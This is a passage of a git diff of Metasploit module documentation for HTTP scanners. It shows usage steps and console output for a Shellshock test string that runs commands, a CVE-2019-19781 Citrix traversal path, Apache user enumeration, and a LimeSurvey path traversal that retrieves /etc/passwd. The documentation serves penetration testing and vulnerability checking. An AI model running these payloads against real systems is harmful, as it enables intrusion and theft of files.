env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
|
||||
```
|
||||
|
||||
2. The shell will return the below text if the environment is vulnerable
|
||||
|
||||
```
|
||||
vulnerable
|
||||
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
|
||||
bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
|
||||
bash: error importing function definition for `BASH_FUNC_x'
|
||||
test
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: run `msfconsole`
|
||||
2. Do: use `auxiliary/scanner/http/apache_mod_cgi_bash_env`
|
||||
3. Do: set `RHOSTS [IP]`
|
||||
4. Do: set `TARGETURI [URI]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**CMD**
|
||||
|
||||
This is the command that will be run by the scanner. The default setting is `/usr/bin/id`.
|
||||
|
||||
**CVE**
|
||||
|
||||
This is the CVE that will be used to exploit the vulnerability.
|
||||
The default setting is `CVE-2014-6271` but valid options are `CVE-2014-6271` or `CVE-2014-6278`.
|
||||
|
||||
**HEADER**
|
||||
|
||||
This is the user agent string that is sent when the module is run. The default setting is `User-Agent`.
|
||||
|
||||
**METHOD**
|
||||
|
||||
This is HTTP method used by the module. The default setting is `GET`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 12.04.5 LTS on Apache 2.2.22
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/apache_mod_cgi_bash_env
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set RHOSTS 172.16.131.134
|
||||
RHOSTS => 172.16.131.134
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/test.sh
|
||||
TARGETURI => /cgi-bin/test.sh
|
||||
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit
|
||||
|
||||
[+] uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module determines if usernames are valid on a server running Apache with the `UserDir` directive enabled.
|
||||
It takes advantage of Apache returning different error codes for usernames that do not exist and for usernames
|
||||
that exist but have no `public_html` directory.
|
||||
|
||||
### Enabling `UserDir` on Ubuntu 16.04 with Apache installed
|
||||
1. `sudo a2enmod userdir`
|
||||
2. `sudo service apache2 restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/apache_userdir_enum```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache 2.4.18 on Ubuntu 16.04
|
||||
|
||||

|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/apache_userdir_enum
|
||||
msf5 auxiliary(scanner/http/apache_userdir_enum) > set rhosts alderaan
|
||||
rhosts => alderaan
|
||||
msf5 auxiliary(scanner/http/apache_userdir_enum) > run
|
||||
|
||||
[*] http://192.168.6.172/~ - Trying UserDir: ''
|
||||
[*] http://192.168.6.172/ - Apache UserDir: '' not found
|
||||
[*] http://192.168.6.172/~4Dgifts - Trying UserDir: '4Dgifts'
|
||||
[*] http://192.168.6.172/ - Apache UserDir: '4Dgifts' not found
|
||||
...
|
||||
[*] http://192.168.6.172/~zabbix - Trying UserDir: 'zabbix'
|
||||
[*] http://192.168.6.172/ - Apache UserDir: 'zabbix' not found
|
||||
[*] http://192.168.6.172/~vagrant - Trying UserDir: 'vagrant'
|
||||
[*] http://192.168.6.172/ - Apache UserDir: 'vagrant' not found
|
||||
[+] http://192.168.6.172/ - Users found: backup, bin, daemon, games, gnats, irc, list, lp, mail, man, messagebus, news, nobody, proxy, sshd, sync, sys, syslog, uucp
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,10 +1,9 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability found in Cisco Firepower Management console. A logged in
|
||||
user can abuse the report viewing feature to download an arbitrary file. Authentication is
|
||||
required to exploit this vulnerability.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module was written specifically against Cisco Firepower Management 6.0.1 (build 1213) during
|
||||
development. To test, you may download the virtual appliance here:
|
||||
|
||||
@@ -26,6 +25,6 @@ admin:Admin123 by default:
|
||||
If the file is found, it will be saved in the loot directory. If not found, the module should
|
||||
print an error indicating so.
|
||||
|
||||
## Demo
|
||||
## Scenarios
|
||||
|
||||

|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
## Introduction
|
||||
|
||||
An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||
|
||||
Because vulnerable servers allow for directory traversal, they will accept the request `GET /vpn/../vpns/` and process it as a request for `GET /vpns/`, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.
|
||||
|
||||
This module checks if a target server is vulnerable by issuing an HTTP GET request for `/vpn/../vpns/cfg/smb.conf`and then checking the response for `[global]` since this configuration file should contain global variables. If `[global]` is found, the server is vulnerable to CVE-2019-19781.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/citrix_dir_traversal`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
1. `Proxies`. This option is not set by default.
|
||||
2. `RPORT`. The default setting is `80`. To use: `set RPORT [PORT]`
|
||||
3. `SSL`. The default setting is `false`.
|
||||
4. `THREADS`. The default setting is `1`.
|
||||
5. `VHOST`. This option is not set by default.
|
||||
6. `TARGETURI`. This option is the base path. `/` by default.
|
||||
7. `PATH`. This option is the traversal path. `/vpn/../vpns/cfg/smb.conf` by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/citrix_dir_traversal):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) > run
|
||||
|
||||
[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
|
||||
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/citrix_dir_traversal) >
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>
|
||||
2. <https://support.citrix.com/article/CTX267027>
|
||||
@@ -9,7 +9,7 @@ The device has at least two (2) users - admin and user. Due to an access control
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/cnpilot_r_web_login_loot
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
This module scans one or more web servers for interesting directories that can be further explored.
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to identify the web management interfaces of the following F5 Networks devices:
|
||||
|
||||
* BigIP
|
||||
* BigIQ
|
||||
* Enterprise Manager
|
||||
* ARX
|
||||
* FirePass
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application/hardware
|
||||
2. Start msfconsole
|
||||
3. Do: ```use scanner/http/f5_mgmt_scanner```
|
||||
4. DO: ```set rhosts```
|
||||
5. Do: ```run```
|
||||
6. You will learn if IPs in rhosts are F5 web management interfaces
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### BigIP 15.1.0.2 Virtual-Edition
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/http/f5_mgmt_scanner) > run
|
||||
|
||||
[+] F5 BigIP web management interface found
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -9,7 +9,7 @@ Related links :
|
||||
* https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
|
||||
* http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/glassfish_traversal```
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module checks to see whether or not the scanned systems return the HSTS header to enforce HSTS.
|
||||
|
||||
### Install on Ubuntu 18.04 LTS
|
||||
|
||||
sudo apt-get install apache2
|
||||
sudo service apache2 start
|
||||
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.crt
|
||||
sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048
|
||||
|
||||
Once this is done place the following content into `/etc/apache2/conf-available/ssl-params.conf`:
|
||||
|
||||
# from https://cipherli.st/
|
||||
# and https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html
|
||||
|
||||
SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH
|
||||
SSLProtocol All -SSLv2 -SSLv3
|
||||
SSLHonorCipherOrder On
|
||||
# Disable preloading HSTS for now. You can use the commented out header line that includes
|
||||
# the "preload" directive if you understand the implications.
|
||||
#Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains; preload"
|
||||
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains"
|
||||
Header always set X-Frame-Options DENY
|
||||
Header always set X-Content-Type-Options nosniff
|
||||
# Requires Apache >= 2.4
|
||||
SSLCompression off
|
||||
SSLSessionTickets Off
|
||||
SSLUseStapling on
|
||||
SSLStaplingCache "shmcb:logs/stapling-cache(150000)"
|
||||
|
||||
SSLOpenSSLConfCmd DHParameters "/etc/ssl/certs/dhparam.pem"
|
||||
|
||||
Then execute the following:
|
||||
|
||||
sudo cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-available/default-ssl.conf.bak
|
||||
|
||||
Place the following in `/etc/apache2/sites-available/default-ssl.conf`:
|
||||
|
||||
```
|
||||
<IfModule mod_ssl.c>
|
||||
<VirtualHost _default_:443>
|
||||
ServerAdmin webmaster@localhost
|
||||
|
||||
DocumentRoot /var/www/html
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
SSLEngine on
|
||||
SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt
|
||||
SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key
|
||||
|
||||
<FilesMatch "\.(cgi|shtml|phtml|php)$">
|
||||
SSLOptions +StdEnvVars
|
||||
</FilesMatch>
|
||||
<Directory /usr/lib/cgi-bin>
|
||||
SSLOptions +StdEnvVars
|
||||
</Directory>
|
||||
|
||||
BrowserMatch "MSIE [2-6]" \
|
||||
nokeepalive ssl-unclean-shutdown \
|
||||
downgrade-1.0 force-response-1.0
|
||||
</VirtualHost>
|
||||
</IfModule>
|
||||
```
|
||||
|
||||
Place the following in `/etc/apache2/sites-available/000-default.conf`:
|
||||
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin webmaster@localhost
|
||||
DocumentRoot /var/www/html
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
|
||||
Finally, execute the following commands:
|
||||
|
||||
sudo service apache2 stop
|
||||
sudo a2enmod ssl
|
||||
sudo a2enmod headers
|
||||
sudo a2ensite default-ssl
|
||||
sudo a2enconf ssl-params
|
||||
sudo apache2ctl configtest
|
||||
sudo service apache2 restart
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/http_hsts```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache 2.4.29 on Ubuntu 18.04 LTS
|
||||
|
||||
Install using following instructions for Ubuntu listed above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/http_hsts
|
||||
msf5 auxiliary(scanner/http/http_hsts) > set RHOSTS 192.168.90.91
|
||||
RHOSTS => 192.168.90.91
|
||||
msf5 auxiliary(scanner/http/http_hsts) > run
|
||||
|
||||
[+] 192.168.90.91:443 - Strict-Transport-Security:max-age=63072000; includeSubdomains
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/http_hsts) >
|
||||
|
||||
```
|
||||
|
||||
### Confirming using Nmap
|
||||
|
||||
```
|
||||
tekwizz123@DESKTOP-VF1AJQB:~$ nmap 192.168.90.91 -p 443 --script http-security-headers
|
||||
|
||||
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-31 00:30 CDT
|
||||
Nmap scan report for 192.168.90.91
|
||||
Host is up (0.0034s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
443/tcp open https
|
||||
| http-security-headers:
|
||||
| Strict_Transport_Security:
|
||||
| Header: Strict-Transport-Security: max-age=63072000; includeSubdomains
|
||||
| X_Frame_Options:
|
||||
| Header: X-Frame-Options: DENY
|
||||
| Description: The browser must not display this content in any frame.
|
||||
| X_Content_Type_Options:
|
||||
| Header: X-Content-Type-Options: nosniff
|
||||
|_ Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type.
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
|
||||
```
|
||||
@@ -11,7 +11,7 @@ This module can abuse misconfigured web servers to upload and delete web content
|
||||
6. Do: ```set FILEDATA [PATH]```
|
||||
7. Do: ```run```
|
||||
|
||||
## Options
|
||||
## Options
|
||||
|
||||
### ACTION
|
||||
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
|
||||
## Microsoft IIS shortname vulnerability scanner
|
||||
|
||||
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request) This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
|
||||
|
||||
|
||||
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers
|
||||
to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request)
|
||||
this was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
|
||||
|
||||
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
|
||||
|
||||
### Remediation
|
||||
|
||||
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install IIS (default installations are vulnerable)
|
||||
@@ -51,13 +53,3 @@ Older Microsoft IIS installations are vulnerable with GET, newer installations w
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
|
||||
## Remediation
|
||||
|
||||
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/
|
||||
* https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with
|
||||
CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive.
|
||||
|
||||
In CVE-2020-11455 the `getZipFile` function within the `filemanager` functionality allows for arbitrary file download. The file retrieved
|
||||
may be deleted after viewing.
|
||||
|
||||
In CVE-2019-9960 the `szip` function within the `downloadZip` functionality allows for arbitrary file download.
|
||||
|
||||
This module has been verified against the following versions:
|
||||
|
||||
* 4.1.11-200316
|
||||
* 3.15.0-181008
|
||||
* 3.9.0-180604
|
||||
* 3.6.0-180328
|
||||
* 3.0.0-171222
|
||||
* 2.70.0-170921
|
||||
|
||||
### Install
|
||||
|
||||
This application is straight forward to install. An excellent writeup is available on
|
||||
[howtoforge.com](https://www.howtoforge.com/tutorial/how-to-install-limesurvey-on-ubuntu-1804/)
|
||||
|
||||
Versions can be downloaded from [github](https://github.com/LimeSurvey/LimeSurvey/releases).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/limesurvey_zip_traversals```
|
||||
4. Do: ```set file [file]```
|
||||
5. Do: ```set rhosts [ip]```
|
||||
6. Do: ```run```
|
||||
7. If the file is readable, you should retrieve a file from the application
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
The file to attempt to retrieve
|
||||
|
||||
## Scenarios
|
||||
|
||||
### LimeSurvey 4.1.11, 3.15.0, 3.9.0, 3.6.0, 3.0.0, and 2.70.0 on Ubuntu 18.04
|
||||
|
||||
```
|
||||
[*] Processing lime41.rb for ERB directives.
|
||||
resource (lime41.rb)> use auxiliary/scanner/http/limesurvey_zip_traversals
|
||||
resource (lime41.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (lime41.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-4.1.11-200316/
|
||||
targeturi => /LimeSurvey-4.1.11-200316/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => SzF-eUl4RW1lU0h-aFZxWmNwbGZOREJrYUduZzI1WTaGH7eqrOmgcse5liKfPNZ8qqKkvenm5Fu6oxTSyVWDrQ==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 4.1.11
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-3.15.0-181008/
|
||||
targeturi => /LimeSurvey-3.15.0-181008/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => SDNyc21VYXJONmIwbjFkOENmUzEyS1NMX3lPQ0VYRTJyfE0iGABAxOsuZhxGdZd59W3dNCVx2D6JABRxmu6dgw==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 3.15.0
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-3.9.0-180604/
|
||||
targeturi => /LimeSurvey-3.9.0-180604/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => QldPa0lZM0o0cUV-STU4NWVoYVlDdHNtYmhmVVl6NW39a1wvfep0Ccsuz_gx9V1AnMjtADnprALM7qwvxUz3Wg==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 3.9.0
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-3.6.0-180328/
|
||||
targeturi => /LimeSurvey-3.6.0-180328/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => SHJzSk81ak5rdWdONTJWV0VLQTlHcjRKeGNIaFlYREqfcU-BuMlPRimIHJipKDsrCF3i7j29J4bNFwxsYGD42A==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 3.6.0
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-3.0.0-171222/
|
||||
targeturi => /LimeSurvey-3.0.0-171222/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => T1VkbDlhYU9IbkZHel9wd0JoVVl5RTUxQ2h2Mk9yN0-AXAtaTDCOMX8gWru7EmBHPBumgY0FG0vAFLwCwyeeuA==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 3.0.0
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> set targeturi /LimeSurvey-2.70.0-170921/
|
||||
targeturi => /LimeSurvey-2.70.0-170921/
|
||||
resource (lime41.rb)> run
|
||||
[*] CSRF: YII_CSRF_TOKEN => elhvTzJaWGlJWU10WnBFajlTYmN5a1VHY1M0bDNJd1C2okYXL__0in7KMlmwY6_Iuk8sI7H7s2zQPZ5NiWW_Xg==
|
||||
[+] Login Successful
|
||||
[*] Version Detected: 2.70.0
|
||||
[*] Attempting to retrieve file
|
||||
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (lime41.rb)> md5sum ~/.msf4/loot/*
|
||||
[*] exec: md5sum ~/.msf4/loot/*
|
||||
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
|
||||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
|
||||
msf5 auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
|
||||
[*] exec: cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
...snip...
|
||||
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
|
||||
```
|
||||
@@ -12,7 +12,7 @@
|
||||
* [RIPS v0.54 Source](https://sourceforge.net/projects/rips-scanner/files/rips-0.54.zip/download)
|
||||
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/scanner/http/rips_traversal`
|
||||
|
||||
@@ -1,13 +1,11 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability, which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
|
||||
Spring Cloud Config listens by default on port 8888.
|
||||
|
||||
### Vulnerable Application
|
||||
|
||||
* https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.1.RELEASE.zip
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use auxiliary/scanner/http/springcloud_traversal`
|
||||
@@ -29,7 +27,3 @@ msf auxiliary(scanner/http/springcloud_traversal) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(scanner/http/springcloud_traversal) >
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* https://pivotal.io/security/cve-2019-3799
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user